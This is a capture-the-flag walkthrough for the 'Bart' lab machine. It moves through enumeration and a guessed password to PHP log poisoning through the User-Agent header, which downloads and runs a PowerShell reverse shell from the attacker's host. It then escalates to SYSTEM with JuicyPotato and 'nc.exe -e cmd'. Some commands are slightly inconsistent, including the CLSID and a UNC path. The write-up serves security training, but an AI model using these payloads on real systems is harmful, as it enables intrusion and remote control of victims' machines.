Bart

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.81 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80 10.10.10.81 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

As we can see in the nmap report, the website on port 80 is doing a redirect to forum.bart.htb. Let's add that domain and bart.htb to the /etc/hosts file.

nano /etc/hosts

Let's take a look at the website.

At some point, we can see the team members.

At the source code, there is one more member which is commented. Let's get all the members name.

curl -s http://forum.bart.htb/ | grep "name"" | grep -oP ">.*?<" | tr -d "><"

Now we have a potential list of users. Note that the website is on forum.bart.htb, but there may be other subdomains available.

gobuster dns -d bart.htb -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 200

  • dns uses DNS subdomain enumeration mode.

  • -d target domain.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

Let's add the monitor.bart.htb subdomain name to the /etc/hosts file.

nano /etc/hosts

The site shows a login page.

If we try random credentials, we won't be able to log in.

But the Forgot password? button seems to indicate if the user is valid.

Exploitation

At this point, I tried to check if any of the found users were valid, and the harvey user seems to be valid.

If we try the user harvey, and his surname potter as the password, we'll be able to log in.

Inside the Server Monitor application, we could see a server called Internal Chat.

The server runs on the internal-01.bart.htb subdomain.

Let's add the new subdomain to the /etc/hosts file

nano /etc/hosts

Then, we'll see that the new website contains another login form.

But the previous credentials are not valid in this case.

As the Simple Chat application is open source, we can insect it's source code from the Github repository. In the source code, we can see that there is one file called register.php, but we are no able to access it.

curl http://internal-01.bart.htb/simple_chat/register.php -L

  • -L follow redirects.

However, we can try to create a new user by sending a POST request to register.php with the uname and passwd parameters.

curl http://internal-01.bart.htb/simple_chat/register.php -X POST -d "uname=alfa8sa&passwd=alfa8sa123"

Now, we could log in as the new user we just created.

We will see a chat, where bobby is saying not to place development code there.

So, if we take a look at the source code, we'll see some JavaScript code which sends a GET request to some interesting URL.

If we send a GET request to that URL, we'll get a 1 as a response.

curl "http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey"

Note the filename parameter is set to log.txt. If we try to read the file, we'll see log entries indicating the user and the User-Agent.

curl "http://internal-01.bart.htb/log/log.txt"

We could try to change the filename parameter to one that doesn't exist, and has the .php extension, so we can inject PHP code, and eventually run commands on the system. In this case, I will create the pwn.php file, and set the User-Agent as a command which will download a file from my system called rv.ps1, which will send us a reverse shell.

curl "http://internal-01.bart.htb/log/log.php?filename=pwn.php&username=harvey" -H "User-Agent: <?php system('powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8/rv.ps1')');?>"

First, download the Invoke-PowerShellTcp.ps1 file from Nishang, and add the following function at the end of the script. I will rename the file to rv.ps1.

mv Invoke-PowerShellTcp.ps1 rv.ps1

nano rv.ps1

Now, set a netcat listener on port 4444 with rlwrap.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

And set a simple HTTP server with python on the current directory.

python -m http.server 80

If now we send s GET request to the pwn.php file, the payload will be executed and we should catch a reverse shell on our netcat listener.

curl "http://internal-01.bart.htb/log/pwn.php"

Privilege Escalation

Let's see what privileges the user nt authority\iusr has.

whoami /priv

If a user has the SeImpersonatePrivilege, the first thing that comes to mind is JuicyPotato.

JuicyPotato is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that SeImpersonate or SeAssignPrimaryToken are enabled.

https://github.com/ohpe/juicy-potato

To escalate privileges, we'll have to transfer JuicyPotato.exe to the victim machine. Let's set a python HTTP server on the directory where we have the JuicyPotato binary.

python -m SimpleHTTPServer

And download the binaries from the desktop folder of the nt authority\iusr user.

certutil.exe -f -urlcache -split http://10.10.14.8:8000/JuicyPotato.exe JuicyPotato.exe

Before executing the JuicyPotato.exe binary, let's set another netcat listener on port 5555 to catch a reverse shell as the NT AUTHORITY\SYSTEM user.

nc -lvnp 5555

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

And let's set an SMB server on the directory where the nc.exe binary is located.

impacket-smbserver smbFolder $(pwd) -smb2support

Finally, let's run the JuicyPotato binary to get a shell as the NT AUTHORITY\SYSTEM user.

.\JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c \\10.10.14.11\smbFolder\nc.exe -e cmd 10.10.14.8 5555"

  • -t createprocess call.

  • -l COM server listen port.

  • -p program to launch.

  • -a specify command arguments.

But we get an error. This is happening because JuicyPotato is using the default CLSID. If check for system information, we'll see the machine is a Microsoft Windows Server 2008 R2 Datacenter.

systeminfo

So we have to change the CLSID to a valid one. You can check a Windows 10 Pro CLSID list here.

The Class ID, or CLSID, is a serial number that represents a unique ID for any application component in Windows. In practice, this means all registry entries for an application component can usually be found under the registry key HKEY_CLASSES_ROOT\CLSID{CLSID value}.

If we change it for {C5D3C0E1-DC41-4F83-8BA8-CC0D46BCCDE3}, we should get the reverse shell. Then all we have to do is reap the harvest and take both the user flag and the root flag.

.\JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c \10.10.14.8\smbFolder\nc.exe -e cmd 10.10.14.8 5555" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

  • -t createprocess call.

  • -l COM server listen port.

  • -p program to launch.

  • -a specify command arguments.

  • -c use CLSID.

Last updated

Was this helpful?